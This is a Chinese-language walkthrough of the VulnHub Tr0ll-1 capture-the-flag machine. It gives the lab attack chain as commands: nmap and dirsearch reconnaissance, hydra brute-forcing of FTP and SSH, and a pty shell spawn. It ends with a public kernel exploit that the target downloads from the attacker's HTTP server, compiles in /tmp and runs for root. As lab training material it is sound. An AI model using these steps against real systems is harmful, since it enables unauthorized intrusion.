• Tr0ll-1项目实战


    前言

    Tr0ll的灵感来源于OSCP实验室内机器的不断拖动。

    目标很简单,获取root并从/root目录中获取Proof.txt。

    不适合那些容易受挫的人!公平的警告,前方有巨魔!

    靶机环境

    kali 192.168.31.153
    Tr0ll-1 192.168.31.35
    靶机下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/

    渗透实战

    环境搭建成功,使用nmap扫描网段ip探测存活主机

    nmap 192.168.31.0/24
    

    浏览器访问主机http://192.168.31.35,发现是一个暴走图

    查看页面js源码也是没有任何线索,正常思路走就是对主机web页面和ip进行信息收集
    首先我用nmap详细扫描ip的端口信息

    nmap 192.168.31.35 -sV -O -p-   //扫描全端口信息,版本信息,操作系统
    

    此处发现了21 22 80端口 且操作系统是ubuntu的linux系统,先放一边,接下来就是扫描文件目录

    python3 dirsearch.py -u http://192.168.31.35/ -e*
    

    发现了一个文件robots.txt,添加访问路径查看有一个/secret目录,访问又是一个暴走图并没有有用的线索

    现在只能从端口入手,首先尝试ftp端口,利用hydra爆破用户名密码

    hydra -L user.txt -P password.txt  192.168.31.35 -s 21 ftp
    

    得到了用户名为 Anonymous 和一堆弱密码(这里由于爆破时间有点长,只截取了一部分)

    但是我看网上可以尝试无密码直接登录成功

    ftp 192.168.31.35
    回车完显示需要输入用户名,再回车一次
    然后直接登录
    

    回车完发现了有一串英文,意思是此FTP服务器仅为匿名服务器,可以使用图中的英文anonymous无密码登录,为什么使用这个英文呢,是因为目前没有其他线索了,我尝试了其他用户名又是不可以

    紧接着就是查找新线索,使用ls查看文件,发现有一个流量包lol.pcap

    在ftp服务器里使用 get lol.pcap将流量包下载到本地

    get lol.pcap
    

    使用wireshark查看流量包

    右键点击第一个流量包,追踪TCP流,发现提示是将一些二进制代码放在secret_stuff.txt文本里

    修改刚刚圈出来在地址框的代码,把0改到2,看到提示说找到一个sup3rs3cr3tdirlol,看到这串字符有dir字样,猜测应该是一个文件或者文件夹

    到浏览器访问看看http://192.168.31.35/sup3rs3cr3tdirlol,发现也是一个目录,里边还有一个未知文件 roflmao

    使用kali的wget命令下载到本地查看

    wget http://192.168.31.35/sup3rs3cr3tdirlol/roflmao
    
    

    可以利用kali的文件解析命令获取线索,这里我使用strings命令

    strings roflmao
    

    得到了一堆提示,其中有一段英文提示Find address 0x0856BF to proceed,查找0x0856BF这个地址,再次利用浏览器访问http://192.168.31.35/0x0856BF查看

    又是一个目录,一个套着一个,这谁猜得到哦...
    查看两个目录,发现了是一个用户名字典和密码字典

    到这突然意识到,应该是ssh的用户和密码,再次使用hydra爆破ssh端口

    hydra -L which_one_lol.txt -p Pass.txt  192.168.31.35  ssh
    
    

    一开始使用的是密码文本的参数-P 但是多次爆破均没用,然后换了-p发现密码居然是Pass.txt,又是一个坑
    登录ssh

    ssh overflow@192.168.31.35
    Pass.txt
    

    直接获取到webshell了,接着就是提权getshell

    使用python获取linux框架shell
    python -c 'import pty;pty.spawn("/bin/bash")'
    

    开始内网信息收集,查看内核版本信息

    cat /proc/version
    

    发现是Linux ubuntu 3.13.0版本,老规矩,浏览器搜索漏洞poc或者使用kali的searchsploit命令查看poc脚本
    这里为了方便演示,我使用searchsploit命令

    searchsploit Linux ubuntu 3.13.0
    

    使用第一个c脚本,先将脚本复制到/root下方便操作,再者使用cat查看脚本如何使用

    find / -name 37292.c
    cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c
    ls
    cat 37292.c
    

    脚本提示需要下载到靶机,使用gcc编译再执行,python3开启http服务,在靶机后台wget下载脚本,但是此处又有一个坑,发现后台并不能随意下载

    kali:
    python3 -m http.server 8989
    
    Tr0ll-1:
    find / -writable 2>/dev/null   //查看可写入权限的文件
    

    发现有一个临时目录/tmp可写入,进入tmp文件夹,将脚本下载到tmp

    cd /tmp
    
    wget http://192.168.31.153:8989/37292.c
    

    下载完毕,使用gcc编译37292.c

    gcc 37292.c -o shell
    -o:将编译完的exp存储在自行定义的文件里
    chmod +x shell  //添加执行权限
    ./shell    //开始执行
    id
    cd /root
    cat proof.txt
    

    总结

    1.从nmap扫描到端口再到hydra破解端口
    2.使用wireshark流量分析lol.pcap包获取线索
    3.strings解析二进制文件查找提示信息
    4.利用已知内核漏洞提权getshell
    5.最后这个靶机在查看到有很多地方可以写入权限,方法不止一个,但是我这里仅展示最简单的提权方法:利用已知漏洞获取权限
    其他拓展思路可以参考此博客:https://blog.csdn.net/weixin_44807430/article/details/128707254

  • 相关阅读:
    阿里巴巴面试题- - -JVM篇(二十一)
    Java IO:InputStream简介说明
    国家高新技术企业认定,7项门槛性指标详解!
    小学生python游戏编程arcade----基本知识3
    5款令人骄傲的国产优质软件,能让你的电脑办公更加高效
    Python-----for循环基本语法及其应用---对序列进行遍历循环
    Python数据分析案例02——泰尔指数的计算
    SpringBoot整合Swagger2
    《2022年中国银行业RPA供应商实力矩阵分析》研究报告正式启动
    7个高级程序员才会关注的数据类网站
  • 原文地址:https://www.cnblogs.com/BlogVice-2203/p/17489867.html